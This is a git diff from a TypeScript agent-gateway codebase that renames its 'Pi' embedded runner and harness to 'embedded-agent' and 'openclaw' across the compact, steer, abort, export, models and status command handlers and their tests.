a/src/auto-reply/reply/agent-runner.ts b/src/auto-reply/reply/agent-runner.ts index 4e65f1351df..23bba172193 100644 --- a/src/auto-reply/reply/agent-runner.ts +++ b/src/auto-reply/reply/agent-runner.ts @@ -7,12 +7,12 @@ import { } from "../../agents/agent-scope.js"; import { resolveContextTokensForModel } from "../../agents/context.js"; import { DEFAULT_CONTEXT_TOKENS } from "../../agents/defaults.js"; +import { + formatEmbeddedAgentQueueFailureSummary, + queueEmbeddedAgentMessageWithOutcomeAsync, +} from "../../agents/embedded-agent-runner/runs.js"; import { resolveModelAuthMode } from "../../agents/model-auth.js"; import { isCliProvider } from "../../agents/model-selection.js"; -import { - formatEmbeddedPiQueueFailureSummary, - queueEmbeddedPiMessageWithOutcomeAsync, -} from "../../agents/pi-embedded-runner/runs.js"; import { deriveContextPromptTokens, hasNonzeroUsage, normalizeUsage } from "../../agents/usage.js"; import { enqueueCommitmentExtraction } from "../../commitments/runtime.js"; import type { OpenClawConfig } from "../../config/config.js"; @@ -1152,7 +1152,7 @@ export async function runReplyAgent(params: { const steerSessionId = (sessionKey ? replyRunRegistry.resolveSessionId(sessionKey) : undefined) ?? followupRun.run.sessionId; - const steerOutcome = await queueEmbeddedPiMessageWithOutcomeAsync( + const steerOutcome = await queueEmbeddedAgentMessageWithOutcomeAsync( steerSessionId, followupRun.prompt, { @@ -1165,7 +1165,7 @@ export async function runReplyAgent(params: { typing.cleanup(); return undefined; } - const summary = formatEmbeddedPiQueueFailureSummary(steerOutcome); + const summary = formatEmbeddedAgentQueueFailureSummary(steerOutcome); logVerbose(`queue: active session ${steerSessionId} rejected steering injection: ${summary}`); } @@ -1571,6 +1571,7 @@ export async function runReplyAgent(params: { activeModel: modelUsed, attempts: fallbackAttempts, state: fallbackStateEntry, + cfg, }); if (fallbackTransition.stateChanged && !preserveUserFacingSessionState) { if (fallbackStateEntry) { @@ -1694,6 +1695,7 @@ export async function runReplyAgent(params: { activeProvider: providerUsed, activeModel: modelUsed, attempts: fallbackAttempts, + cfg, }); if (fallbackNotice) { fallbackNoticePayloads.push( diff --git a/src/auto-reply/reply/commands-abort-trigger.test.ts b/src/auto-reply/reply/commands-abort-trigger.test.ts index aab7cb87fc2..03bb39d989c 100644 --- a/src/auto-reply/reply/commands-abort-trigger.test.ts +++ b/src/auto-reply/reply/commands-abort-trigger.test.ts @@ -4,13 +4,13 @@ import { handleAbortTrigger } from "./commands-session-abort.js"; import "./commands-session-abort.test-support.js"; import type { HandleCommandsParams } from "./commands-types.js"; -const abortEmbeddedPiRunMock = vi.hoisted(() => vi.fn()); +const abortEmbeddedAgentRunMock = vi.hoisted(() => vi.fn()); const persistAbortTargetEntryMock = vi.hoisted(() => vi.fn()); const setAbortMemoryMock = vi.hoisted(() => vi.fn()); const abortSessionRunTargetMock = vi.hoisted(() => vi.fn()); -vi.mock("../../agents/pi-embedded.js", () => ({ - abortEmbeddedPiRun: abortEmbeddedPiRunMock, +vi.mock("../../agents/embedded-agent.js", () => ({ + abortEmbeddedAgentRun: abortEmbeddedAgentRunMock, })); vi.mock("../../globals.js", () => ({ @@ -96,7 +96,7 @@ describe("handleAbortTrigger", () => { const result = await handleAbortTrigger(buildAbortParams(), true); expect(result).toEqual({ shouldContinue: false }); expect(abortSessionRunTargetMock).not.toHaveBeenCalled(); - expect(abortEmbeddedPiRunMock).not.toHaveBeenCalled(); + expect(abortEmbeddedAgentRunMock).not.toHaveBeenCalled(); expect(persistAbortTargetEntryMock).not.toHaveBeenCalled(); expect(setAbortMemoryMock).not.toHaveBeenCalled(); }); diff --git a/src/auto-reply/reply/commands-compact.runtime.ts b/src/auto-reply/reply/commands-compact.runtime.ts index a29f30caa1d..df585368d0c 100644 --- a/src/auto-reply/reply/commands-compact.runtime.ts +++ b/src/auto-reply/reply/commands-compact.runtime.ts @@ -1,9 +1,9 @@ export { - abortEmbeddedPiRun, - compactEmbeddedPiSession, - isEmbeddedPiRunActive, - waitForEmbeddedPiRunEnd, -} from "../../agents/pi-embedded.js"; + abortEmbeddedAgentRun, + compactEmbeddedAgentSession, + isEmbeddedAgentRunActive, + waitForEmbeddedAgentRunEnd, +} from "../../agents/embedded-agent.js"; export { resolveFreshSessionTotalTokens, resolveSessionFilePath, diff --git a/src/auto-reply/reply/commands-compact.test.ts b/src/auto-reply/reply/commands-compact.test.ts index faaa00ff1be..97eea4b03eb 100644 --- a/src/auto-reply/reply/commands-compact.test.ts +++ b/src/auto-reply/reply/commands-compact.test.ts @@ -7,21 +7,21 @@ import { import type { HandleCommandsParams } from "./commands-types.js"; vi.mock("./commands-compact.runtime.js", () => ({ - abortEmbeddedPiRun: vi.fn(), - compactEmbeddedPiSession: vi.fn(), + abortEmbeddedAgentRun: vi.fn(), + compactEmbeddedAgentSession: vi.fn(), enqueueSystemEvent: vi.fn(), formatContextUsageShort: vi.fn(() => "Context 12.1k"), formatTokenCount: vi.fn((value: number) => `${value}`), incrementCompactionCount: vi.fn(), - isEmbeddedPiRunActive: vi.fn().mockReturnValue(false), + isEmbeddedAgentRunActive: vi.fn().mockReturnValue(false), resolveFreshSessionTotalTokens: vi.fn(() => 12_345), resolveSessionFilePath: vi.fn(() => "/tmp/session.json"), resolveSessionFilePathOptions: vi.fn(() => ({})), - waitForEmbeddedPiRunEnd: vi.fn().mockResolvedValue(undefined), + waitForEmbeddedAgentRunEnd: vi.fn().mockResolvedValue(undefined), })); const { - compactEmbeddedPiSession, + compactEmbeddedAgentSession, formatContextUsageShort, incrementCompactionCount, resolveSessionFilePathOptions, @@ -54,10 +54,10 @@ function buildCompactParams( } as unknown as HandleCommandsParams; } -function requireCompactEmbeddedPiSessionCall(index = 0) { - const call = vi.mocked(compactEmbeddedPiSession).mock.calls[index]?.[0]; +function requireCompactEmbeddedAgentSessionCall(index = 0) { + const call = vi.mocked(compactEmbeddedAgentSession).mock.calls[index]?.[0]; if (!call) { - throw new Error(`compactEmbeddedPiSession call ${index} missing`); + throw new Error(`compactEmbeddedAgentSession call ${index} missing`); } return call; } @@ -107,7 +107,7 @@ describe("handleCompactCommand", () => { ); expect(result).toBeNull(); - expect(vi.mocked(compactEmbeddedPiSession)).not.toHaveBeenCalled(); + expect(vi.mocked(compactEmbeddedAgentSession)).not.toHaveBeenCalled(); }); it("rejects unauthorized /compact commands", async () => { @@ -129,11 +129,11 @@ describe("handleCompactCommand", () => { ); expect(result).toEqual({ shouldContinue: false }); - expect(vi.mocked(compactEmbeddedPiSession)).not.toHaveBeenCalled(); + expect(vi.mocked(compactEmbeddedAgentSession)).not.toHaveBeenCalled(); }); it("routes manual compaction with explicit trigger and context metadata", async () => { - vi.mocked(compactEmbeddedPiSession).mockResolvedValueOnce({ + vi.mocked(compactEmbeddedAgentSession).mockResolvedValueOnce({ ok: true, compacted: false, }); @@ -171,8 +171,8 @@ describe("handleCompactCommand", () => { ); expect(result?.shouldContinue).toBe(false); - expect(vi.mocked(compactEmbeddedPiSession)).toHaveBeenCalledOnce(); - const call = requireCompactEmbeddedPiSessionCall(); + expect(vi.mocked(compactEmbeddedAgentSession)).toHaveBeenCalledOnce(); + const call = requireCompactEmbeddedAgentSessionCall(); expect(call.sessionId).toBe("session-1"); expect(call.sessionKey).toBe("agent:main:main"); expect(call.allowGatewaySubagentBinding).toBe(true); @@ -191,7 +191,7 @@ describe("handleCompactCommand", () => { }); it("treats already-under-target manual compaction as skipped", async () => { - vi.mocked(compactEmbeddedPiSession).mockResolvedValueOnce({ + vi.mocked(compactEmbeddedAgentSession).mockResolvedValueOnce({ ok: false, compacted: false, reason: "already under target", @@ -218,7 +218,7 @@ describe("handleCompactCommand", () => { }); it("uses the canonical session agent when resolving the compaction session file", async () => { - vi.mocked(compactEmbeddedPiSession).mockResolvedValueOnce({ + vi.mocked(compactEmbeddedAgentSession).mockResolvedValueOnce({ ok: true, compacted: false, }); @@ -253,7 +253,7 @@ describe("handleCompactCommand", () => { }); it("uses the canonical session agent directory for compaction runtime inputs", async () => { - vi.mocked(compactEmbeddedPiSession).mockResolvedValueOnce({ + vi.mocked(compactEmbeddedAgentSession).mockResolvedValueOnce({ ok: true, compacted: false, }); @@ -278,7 +278,7 @@ describe("handleCompactCommand", () => { true, ); - expect(requireCompactEmbeddedPiSessionCall().agentDir).toBe("/tmp/target-agent"); + expect(requireCompactEmbeddedAgentSessionCall().agentDir).toBe("/tmp/target-agent"); expect(resolveAgentDirMock).toHaveBeenCalledOnce(); const [configArg, agentIdArg] = requireResolveAgentDirCall(); expect(configArg).toBe(cfg); @@ -286,7 +286,7 @@ describe("handleCompactCommand", () => { }); it("prefers the target session entry for compaction runtime metadata", async () => { - vi.mocked(compactEmbeddedPiSession).mockResolvedValueOnce({ + vi.mocked(compactEmbeddedAgentSession).mockResolvedValueOnce({ ok: true, compacted: false, }); @@ -324,7 +324,7 @@ describe("handleCompactCommand", () => { true, ); - const call = requireCompactEmbeddedPiSessionCall(); + const call = requireCompactEmbeddedAgentSessionCall(); expect(call.sessionId).toBe("target-session"); expect(call.groupId).toBe("target-group"); expect(call.groupChannel).toBe("#target"); @@ -334,7 +334,7 @@ describe("handleCompactCommand", () => { }); it("prefers the target session entry when incrementing compaction count", async () => { - vi.mocked(compactEmbeddedPiSession).mockResolvedValueOnce({ + vi.mocked(compactEmbeddedAgentSession).mockResolvedValueOnce({ ok: true, compacted: true, result: { @@ -375,7 +375,7 @@ describe("handleCompactCommand", () => { }); it("reports started Codex native compaction without incrementing completed compaction state", async () => { - vi.mocked(compactEmbeddedPiSession).mockResolvedValueOnce({ + vi.mocked(compactEmbeddedAgentSession).mockResolvedValueOnce({ ok: true, compacted: false, result: { @@ -410,7 +410,7 @@ describe("handleCompactCommand", () => { }); it("resolves /compact context budget from the active Codex runtime config instead of stale session metadata", async () => { - vi.mocked(compactEmbeddedPiSession).mockResolvedValueOnce({ + vi.mocked(compactEmbeddedAgentSession).mockResolvedValueOnce({ ok: true, compacted: true, result: { @@ -455,7 +455,7 @@ describe("handleCompactCommand", () => { true, ); - expect(requireCompactEmbeddedPiSessionCall().contextTokenBudget).toBe(258_000); + expect(requireCompactEmbeddedAgentSessionCall().contextTokenBudget).toBe(258_000); expect(vi.mocked(formatContextUsageShort)).toHaveBeenLastCalledWith(56_000, 258_000); }); }); diff --git a/src/auto-reply/reply/commands-compact.ts b/src/auto-reply/reply/commands-compact.ts index b26a913ea01..c98cab3c12b 100644 --- a/src/auto-reply/reply/commands-compact.ts +++ b/src/auto-reply/reply/commands-compact.ts @@ -217,9 +217,9 @@ export const handleCompactCommand: CommandHandler = async (params) => { } const runtime = await loadCompactRuntime(); const sessionId = targetSessionEntry.sessionId; - if (runtime.isEmbeddedPiRunActive(sessionId)) { - runtime.abortEmbeddedPiRun(sessionId); - await runtime.waitForEmbeddedPiRunEnd(sessionId, 15_000); + if (runtime.isEmbeddedAgentRunActive(sessionId)) { + runtime.abortEmbeddedAgentRun(sessionId); + await runtime.waitForEmbeddedAgentRunEnd(sessionId, 15_000); } const sessionAgentId = params.sessionKey ? resolveSessionAgentId({ sessionKey: params.sessionKey, config: params.cfg }) @@ -245,7 +245,7 @@ export const handleCompactCommand: CommandHandler = async (params) => { liveContextTokens: params.contextTokens, persistedContextTokens: targetSessionEntry.contextTokens, }); - const result = await runtime.compactEmbeddedPiSession({ + const result = await runtime.compactEmbeddedAgentSession({ sessionId, sessionKey: params.sessionKey, allowGatewaySubagentBinding: true, diff --git a/src/auto-reply/reply/commands-context-report.ts b/src/auto-reply/reply/commands-context-report.ts index c48c0786c5f..41db4fe980c 100644 --- a/src/auto-reply/reply/commands-context-report.ts +++ b/src/auto-reply/reply/commands-context-report.ts @@ -3,7 +3,7 @@ import { analyzeBootstrapBudget } from "../../agents/bootstrap-budget.js"; import { resolveBootstrapMaxChars, resolveBootstrapTotalMaxChars, -} from "../../agents/pi-embedded-helpers/bootstrap.js"; +} from "../../agents/embedded-agent-helpers/bootstrap.js"; import { buildSystemPromptReport } from "../../agents/system-prompt-report.js"; import { resolveFreshSessionTotalTokens, diff --git a/src/auto-reply/reply/commands-export-session.test.ts b/src/auto-reply/reply/commands-export-session.test.ts index e59f10e38e3..e904362296b 100644 --- a/src/auto-reply/reply/commands-export-session.test.ts +++ b/src/auto-reply/reply/commands-export-session.test.ts @@ -44,9 +44,13 @@ vi.mock("../../infra/fs-safe.js", () => ({ pathExists: hoisted.pathExistsMock, })); -vi.mock("@earendil-works/pi-coding-agent", () => ({ - migrateSessionEntries: hoisted.migrateSessionEntriesMock, -})); +vi.mock("../../agents/sessions/session-manager.js", async (importOriginal) => { + const actual = await importOriginal(); + return { + ...actual, + migrateSessionEntries: hoisted.migrateSessionEntriesMock, + }; +}); vi.mock("node:fs", async () => { const actual = await vi.importActual("node:fs"); @@ -61,7 +65,7 @@ vi.mock("node:fs", async () => { if (filePath.includes("/export-html/")) { return actual.readFileSync(filePath, "utf8"); } - return ""; + return actual.readFileSync(filePath, "utf8"); }), }; return { diff --git a/src/auto-reply/reply/commands-export-session.ts b/src/auto-reply/reply/commands-export-session.ts index dae49f3b295..9ca8f31ff37 100644 --- a/src/auto-reply/reply/commands-export-session.ts +++ b/src/auto-reply/reply/commands-export-session.ts @@ -1,11 +1,12 @@ import fsp from "node:fs/promises"; import path from "node:path"; import { fileURLToPath } from "node:url"; -import type { - FileEntry as PiSessionFileEntry, - SessionEntry as PiSessionEntry, - SessionHeader, -} from "@earendil-works/pi-coding-agent"; +import { + migrateSessionEntries, + type FileEntry as SessionFileEntry, + type SessionEntry as AgentSessionEntry, + type SessionHeader, +} from "../../agents/sessions/session-manager.js"; import { pathExists } from "../../infra/fs-safe.js"; import { isRecord } from "../../shared/record-coerce.js"; import type { ReplyPayload } from "../types.js"; @@ -22,7 +23,7 @@ const EXPORT_HTML_DIR = path.join(path.dirname(fileURLToPath(import.meta.url)), interface SessionData { header: SessionHeader | null; - entries: PiSessionEntry[]; + entries: AgentSessionEntry[]; leafId: string | null; systemPrompt?: string; tools?: Array<{ name: string; description?: string; parameters?: unknown }>; @@ -43,11 +44,6 @@ async function loadTemplate(fileName: string): Promise { return await fsp.readFile(path.join(EXPORT_HTML_DIR, fileName), "utf-8"); } -async function migratePiSessionEntries(fileEntries: PiSessionFileEntry[]): Promise { - const { migrateSessionEntries } = await import("@earendil-works/pi-coding-agent"); - migrateSessionEntries(fileEntries); -} - function replaceHtmlPlaceholder(template: string, name: string, value: string): string { let replaced = false; const placeholder = new RegExp( @@ -76,7 +72,7 @@ async function generateHtml(sessionData: SessionData): Promise { loadTemplate(path.join("vendor", "highlight.min.js")), ]); - // Use pi-mono dark theme colors (matching their theme/dark.json) + // Use the bundled dark session-export palette const themeVars = ` --cyan: #00d7ff; --blue: #5f87ff; @@ -161,7 +157,7 @@ async function writeNewDefaultExportFile(filePath: string, html: string): Promis throw new Error(`Could not find an unused export filename near ${filePath}`); } -function isSessionFileEntry(value: unknown): value is PiSessionFileEntry { +function isSessionFileEntry(value: unknown): value is SessionFileEntry { if (!isRecord(value) || typeof value.type !== "string") { return false; } @@ -173,10 +169,10 @@ function isSessionFileEntry(value: unknown): value is PiSessionFileEntry { } function parseSessionEntriesWithWarnings(content: string): { - entries: PiSessionFileEntry[]; + entries: SessionFileEntry[]; warnings: SessionExportJsonlWarning[]; } { - const entries: PiSessionFileEntry[] = []; + const entries: SessionFileEntry[] = []; const warnings: SessionExportJsonlWarning[] = []; const rows = content.split(/\r?\n/u); for (const [index, rawLine] of rows.entries()) { @@ -241,16 +237,16 @@ function formatSessionExportWarning(summary: SessionExportWarningSummary): strin async function readSessionDataFromTranscript(sessionFile: string): Promise<{ header: SessionHeader | null; - entries: PiSessionEntry[]; + entries: AgentSessionEntry[]; leafId: string | null; warnings: SessionExportWarningSummary[]; }> { const raw = await fsp.readFile(sessionFile, "utf-8"); const { entries: fileEntries, warnings } = parseSessionEntriesWithWarnings(raw); - await migratePiSessionEntries(fileEntries); + migrateSessionEntries(fileEntries); const header = fileEntries.find((entry): entry is SessionHeader => entry.type === "session") ?? null; - const entries = fileEntries.filter((entry): entry is PiSessionEntry => entry.type !== "session"); + const entries = fileEntries.filter((entry): entry is AgentSessionEntry => entry.type !== "session"); const lastEntry = entries.at(-1); const leafId = typeof lastEntry?.id === "string" ? lastEntry.id : null; return { header, entries, leafId, warnings: summarizeSessionExportWarnings(warnings) }; diff --git a/src/auto-reply/reply/commands-models.test.ts b/src/auto-reply/reply/commands-models.test.ts index 77906281426..a8d56a7cc06 100644 --- a/src/auto-reply/reply/commands-models.test.ts +++ b/src/auto-reply/reply/commands-models.test.ts @@ -130,21 +130,40 @@ beforeEach(() => { normalizeProviderModelIdWithRuntimeMock.mockReset(); modelProviderAuthMocks.authenticatedProviders = new Set(["anthropic", "google", "openai"]); modelProviderAuthMocks.createProviderAuthChecker.mockClear(); - setActivePluginRegistry( - createTestRegistry([ - ...textSurfaceModelsTestPlugins, - { - pluginId: "telegram", - plugin: telegramModelsTestPlugin, - source: "test", + const registry = createTestRegistry([ + ...textSurfaceModelsTestPlugins, + { + pluginId: "telegram", + plugin: telegramModelsTestPlugin, + source: "test", + }, + { + pluginId: "menuonly", + plugin: menuOnlyModelsTestPlugin, + source: "test", + }, + ]); + registry.cliBackends = [ + { + pluginId: "anthropic", + backend: { + id: "claude-cli", + modelProvider: "anthropic", + config: { command: "claude" }, }, - { - pluginId: "menuonly", - plugin: menuOnlyModelsTestPlugin, - source: "test", + source: "test", + }, + { + pluginId: "google", + backend: { + id: "google-gemini-cli", + modelProvider: "google", + config: { command: "gemini" }, }, - ]), - ); + source: "test", + }, + ]; + setActivePluginRegistry(registry); }); function buildParams( @@ -480,13 +499,13 @@ describe("handleModelsCommand", () => { description: "Use the OpenAI Codex runtime selected by the effective harness policy.", }); expect(data.runtimeChoicesByProvider?.get("openai")?.[1]).toEqual({ - id: "pi", - label: "OpenClaw Pi Default", - description: "Use the built-in OpenClaw Pi runtime.", + id: "openclaw", + label: "OpenClaw Default", + description: "Use the built-in OpenClaw runtime.", }); }); - it("keeps custom OpenAI-compatible providers on the Pi default runtime choice", async () => { + it("keeps custom OpenAI-compatible providers on the OpenClaw default runtime choice", async () => { const data = await buildModelsProviderData({ models: { providers: { @@ -504,9 +523,9 @@ describe("handleModelsCommand", () => { } as OpenClawConfig); expect(data.runtimeChoicesByProvider?.get("openai")?.[0]).toEqual({ - id: "pi", - label: "OpenClaw Pi Default", - description: "Use the built-in OpenClaw Pi runtime.", + id: "openclaw", + label: "OpenClaw Default", + description: "Use the built-in OpenClaw runtime.", }); }); @@ -516,7 +535,7 @@ describe("handleModelsCommand", () => { providers: { openai: { baseUrl: "https://api.openai.com/v1", - agentRuntime: { id: "pi" }, + agentRuntime: { id: "openclaw" }, models: [], }, }, @@ -537,9 +556,9 @@ describe("handleModelsCommand", () => { description: "Use the OpenAI Codex runtime selected by the effective harness policy.", }); expect(data.runtimeChoicesByProvider?.get("openai")?.[1]).toEqual({ - id: "pi", - label: "OpenClaw Pi Default", - description: "Use the built-in OpenClaw Pi runtime.", + id: "openclaw", + label: "OpenClaw Default", + description: "Use the built-in OpenClaw runtime.", }); }); @@ -562,9 +581,9 @@ describe("handleModelsCommand", () => { } as OpenClawConfig); expect(data.runtimeChoicesByProvider?.get("anthropic")?.[0]).toEqual({ - id: "pi", - label: "OpenClaw Pi Default", - description: "Use the built-in OpenClaw Pi runtime.", + id: "openclaw", + label: "OpenClaw Default", + description: "Use the built-in OpenClaw runtime.", }); }); @@ -592,9 +611,9 @@ describe("handleModelsCommand", () => { description: "Use the Claude CLI runtime selected by the effective harness policy.", }); expect(data.runtimeChoicesByProvider?.get("anthropic")?.[1]).toEqual({ - id: "pi", - label: "OpenClaw Pi Default", - description: "Use the built-in OpenClaw Pi runtime.", + id: "openclaw", + label: "OpenClaw Default", + description: "Use the built-in OpenClaw runtime.", }); }); diff --git a/src/auto-reply/reply/commands-models.ts b/src/auto-reply/reply/commands-models.ts index 571b307a466..c9885c5d584 100644 --- a/src/auto-reply/reply/commands-models.ts +++ b/src/auto-reply/reply/commands-models.ts @@ -3,6 +3,7 @@ import { resolveAgentWorkspaceDir, resolveSessionAgentId, } from "../../agents/agent-scope.js"; +import { listCliRuntimeModelBackendBindings } from "../../agents/cli-backends.js"; import { resolveAgentHarnessPolicy } from "../../agents/harness/policy.js"; import { resolveModelAuthLabel } from "../../agents/model-auth-label.js"; import { loadModelCatalogForBrowse } from "../../agents/model-catalog-browse.js"; @@ -10,10 +11,7 @@ import { resolveVisibleModelCatalog } from "../../agents/model-catalog-visibilit import { loadModelCatalog } from "../../agents/model-catalog.js"; import { isModelPickerVisibleProvider } from "../../agents/model-picker-visibility.js"; import { createProviderAuthChecker } from "../../agents/model-provider-auth.js"; -import { - isCliRuntimeProvider, - listLegacyRuntimeModelProviderAliases, -} from "../../agents/model-runtime-aliases.js"; +import { isCliRuntimeProvider } from "../../agents/model-runtime-aliases.js"; import { buildModelAliasIndex, normalizeProviderId, @@ -79,17 +77,20 @@ type ParsedModelsCommand = function isModelsBrowseVisibleProvider(provider: string): boolean { const normalized = normalizeProviderId(provider); - return isCliRuntimeProvider(normalized) || isModelPickerVisibleProvider(normalized); + return ( + isCliRuntimeProvider(normalized, { includeSetupRegistry: true }) || + isModelPickerVisibleProvider(normalized) + ); } function usesUnfilteredCatalogModels(provider: string): boolean { - return isCliRuntimeProvider(provider); + return isCliRuntimeProvider(provider, { includeSetupRegistry: true }); } function normalizeRuntimeChoiceId(runtime: string | undefined): string { const normalized = normalizeLowercaseStringOrEmpty(runtime); if (!normalized || normalized === "auto" || normalized === "default") { - return "pi"; + return "openclaw"; } return normalized; } @@ -106,8 +107,8 @@ function buildRuntimeChoice(params: { id, label, description: - id === "pi" - ? "Use the built-in OpenClaw Pi runtime." + id === "openclaw" + ? "Use the built-in OpenClaw runtime." : params.cli ? `Run ${params.provider} models through ${label}.` : `Use the ${label} runtime selected by the effective harness policy.`, @@ -290,8 +291,16 @@ export async function buildModelsProviderData( } const runtimeChoicesByProvider = new Map(); - for (const alias of listLegacyRuntimeModelProviderAliases()) { - const provider = normalizeProviderId(alias.provider); + const runtimeBindings = [ + { provider: "openai", runtime: "codex", cli: false }, + ...listCliRuntimeModelBackendBindings().map((binding) => ({ + provider: binding.provider, + runtime: binding.runtime, + cli: true, + })), + ]; + for (const binding of runtimeBindings) { + const provider = normalizeProviderId(binding.provider); const defaultModelId = provider === normalizeProviderId(resolvedDefault.provider) ? resolvedDefault.model @@ -304,14 +313,14 @@ export async function buildModelsProviderData( modelId: defaultModelId, }), ]; - addRuntimeChoice(choices, buildRuntimeChoice({ cfg, provider, runtime: "pi" })); + addRuntimeChoice(choices, buildRuntimeChoice({ cfg, provider, runtime: "openclaw" })); addRuntimeChoice( choices, buildRuntimeChoice({ cfg, provider, - runtime: alias.runtime, - cli: alias.cli, + runtime: binding.runtime, + cli: binding.cli, }), ); runtimeChoicesByProvider.set(provider, choices); diff --git a/src/auto-reply/reply/commands-status.test.ts b/src/auto-reply/reply/commands-status.test.ts index 47f7059cf49..59d9bad800d 100644 --- a/src/auto-reply/reply/commands-status.test.ts +++ b/src/auto-reply/reply/commands-status.test.ts @@ -44,10 +44,10 @@ vi.mock("../../infra/provider-usage.js", async (importOriginal) => { }; }); -vi.mock("../../agents/harness/builtin-pi.js", () => ({ - createPiAgentHarness: () => ({ - id: "pi", - label: "OpenClaw Pi", +vi.mock("../../agents/harness/builtin-openclaw.js", () => ({ + createOpenClawAgentHarness: () => ({ + id: "openclaw", + label: "OpenClaw Default", supports: () => ({ supported: true, priority: 0 }), runAttempt: async () => { throw new Error("not used in status tests"); @@ -562,7 +562,7 @@ describe("buildStatusReply subagent summary", () => { expect(normalizeTestText(text)).toContain("Uptime: gateway 2h 5m · system 4d 3h"); }); - it("shows the effective non-PI embedded harness in /status", async () => { + it("shows the effective non-OpenClaw embedded harness in /status", async () => { registerStatusCodexHarness(); const text = await buildStatusText({ @@ -719,7 +719,7 @@ describe("buildStatusReply subagent summary", () => { ); }); - it("uses Codex OAuth auth labels for explicit OpenAI PI auth order", async () => { + it("uses Codex OAuth auth labels for explicit OpenAI OpenClaw auth order", async () => { await withTempHome( async (dir) => { const authPath = path.join( @@ -760,7 +760,7 @@ describe("buildStatusReply subagent summary", () => { defaults: { models: { "openai/gpt-5.5": { - agentRuntime: { id: "pi" }, + agentRuntime: { id: "openclaw" }, }, }, }, @@ -772,7 +772,7 @@ describe("buildStatusReply subagent summary", () => { }, }, sessionEntry: { - sessionId: "sess-status-openai-pi-codex-oauth", + sessionId: "sess-status-openai-agent-codex-oauth", updatedAt: 0, }, sessionKey: "agent:main:main", @@ -782,7 +782,7 @@ describe("buildStatusReply subagent summary", () => { provider: "openai", model: "gpt-5.5", contextTokens: 32_000, - resolvedHarness: "pi", + resolvedHarness: "openclaw", resolvedFastMode: false, resolvedVerboseLevel: "off", resolvedReasoningLevel: "off", @@ -1079,7 +1079,7 @@ describe("buildStatusReply subagent summary", () => { } }); - it("keeps /status on a session-pinned PI harness after config changes", async () => { + it("keeps /status on a session-pinned OpenClaw harness after config changes", async () => { registerStatusCodexHarness(); const text = await buildStatusText({ @@ -1092,10 +1092,10 @@ describe("buildStatusReply subagent summary", () => { }, }, sessionEntry: { - sessionId: "sess-status-pinned-pi", + sessionId: "sess-status-pinned-agent", updatedAt: 0, fastMode: true, - agentHarnessId: "pi", + agentHarnessId: "openclaw", }, sessionKey: "agent:main:main", parentSessionKey: "agent:main:main", diff --git a/src/auto-reply/reply/commands-steer.runtime.ts b/src/auto-reply/reply/commands-steer.runtime.ts index 24a9013ffa3..9682f90191f 100644 --- a/src/auto-reply/reply/commands-steer.runtime.ts +++ b/src/auto-reply/reply/commands-steer.runtime.ts @@ -1,7 +1,7 @@ export { - formatEmbeddedPiQueueFailureSummary, - isEmbeddedPiRunActive, - queueEmbeddedPiMessage, - queueEmbeddedPiMessageWithOutcomeAsync, + formatEmbeddedAgentQueueFailureSummary, + isEmbeddedAgentRunActive, + queueEmbeddedAgentMessage, + queueEmbeddedAgentMessageWithOutcomeAsync, resolveActiveEmbeddedRunSessionId, -} from "../../agents/pi-embedded-runner/runs.js"; +} from "../../agents/embedded-agent-runner/runs.js"; diff --git a/src/auto-reply/reply/commands-steer.test.ts b/src/auto-reply/reply/commands-steer.test.ts index 06f01b727aa..761c34ca1e0 100644 --- a/src/auto-reply/reply/commands-steer.test.ts +++ b/src/auto-reply/reply/commands-steer.test.ts @@ -3,9 +3,9 @@ import type { OpenClawConfig } from "../../config/types.openclaw.js"; import { buildCommandTestParams } from "./commands.test-harness.js"; const steerRuntimeMocks = vi.hoisted(() => ({ - formatEmbeddedPiQueueFailureSummary: vi.fn(), - isEmbeddedPiRunActive: vi.fn(), - queueEmbeddedPiMessageWithOutcomeAsync: vi.fn(), + formatEmbeddedAgentQueueFailureSummary: vi.fn(), + isEmbeddedAgentRunActive: vi.fn(), + queueEmbeddedAgentMessageWithOutcomeAsync: vi.fn(), resolveActiveEmbeddedRunSessionId: vi.fn(), })); @@ -24,13 +24,13 @@ function buildParams(commandBody: string) { describe("handleSteerCommand", () => { beforeEach(() => { - steerRuntimeMocks.formatEmbeddedPiQueueFailureSummary + steerRuntimeMocks.formatEmbeddedAgentQueueFailureSummary .mockReset() .mockReturnValue( "queue_message_failed reason=not_streaming sessionId=session-active gatewayHealth=live", ); - steerRuntimeMocks.isEmbeddedPiRunActive.mockReset().mockReturnValue(false); - steerRuntimeMocks.queueEmbeddedPiMessageWithOutcomeAsync.mockReset().mockResolvedValue({ + steerRuntimeMocks.isEmbeddedAgentRunActive.mockReset().mockReturnValue(false); + steerRuntimeMocks.queueEmbeddedAgentMessageWithOutcomeAsync.mockReset().mockResolvedValue({ queued: true, sessionId: "session-active", target: "embedded_run", @@ -51,7 +51,7 @@ describe("handleSteerCommand", () => { expect(steerRuntimeMocks.resolveActiveEmbeddedRunSessionId).toHaveBeenCalledWith( "agent:main:main", ); - expect(steerRuntimeMocks.queueEmbeddedPiMessageWithOutcomeAsync).toHaveBeenCalledWith( + expect(steerRuntimeMocks.queueEmbeddedAgentMessageWithOutcomeAsync).toHaveBeenCalledWith( "session-active", "keep going", { @@ -74,7 +74,7 @@ describe("handleSteerCommand", () => { expect(steerRuntimeMocks.resolveActiveEmbeddedRunSessionId).toHaveBeenCalledWith( "agent:main:discord:direct:target", ); - expect(steerRuntimeMocks.queueEmbeddedPiMessageWithOutcomeAsync).toHaveBeenCalledWith( + expect(steerRuntimeMocks.queueEmbeddedAgentMessageWithOutcomeAsync).toHaveBeenCalledWith( "session-target", "check the target", { @@ -85,7 +85,7 @@ describe("handleSteerCommand", () => { }); it("falls back to the stored session id when it is still active", async () => { - steerRuntimeMocks.isEmbeddedPiRunActive.mockReturnValue(true); + steerRuntimeMocks.isEmbeddedAgentRunActive.mockReturnValue(true); const params = buildParams("/tell continue from state"); params.sessionEntry = { sessionId: "stored-session-id", updatedAt: Date.now() }; @@ -95,8 +95,8 @@ describe("handleSteerCommand", () => { expect(steerRuntimeMocks.resolveActiveEmbeddedRunSessionId).toHaveBeenCalledWith( "agent:main:main", ); - expect(steerRuntimeMocks.isEmbeddedPiRunActive).toHaveBeenCalledWith("stored-session-id"); - expect(steerRuntimeMocks.queueEmbeddedPiMessageWithOutcomeAsync).toHaveBeenCalledWith( + expect(steerRuntimeMocks.isEmbeddedAgentRunActive).toHaveBeenCalledWith("stored-session-id"); + expect(steerRuntimeMocks.queueEmbeddedAgentMessageWithOutcomeAsync).toHaveBeenCalledWith( "stored-session-id", "continue from state", { @@ -113,7 +113,7 @@ describe("handleSteerCommand", () => { shouldContinue: false, reply: { text: "Usage: /steer " }, }); - 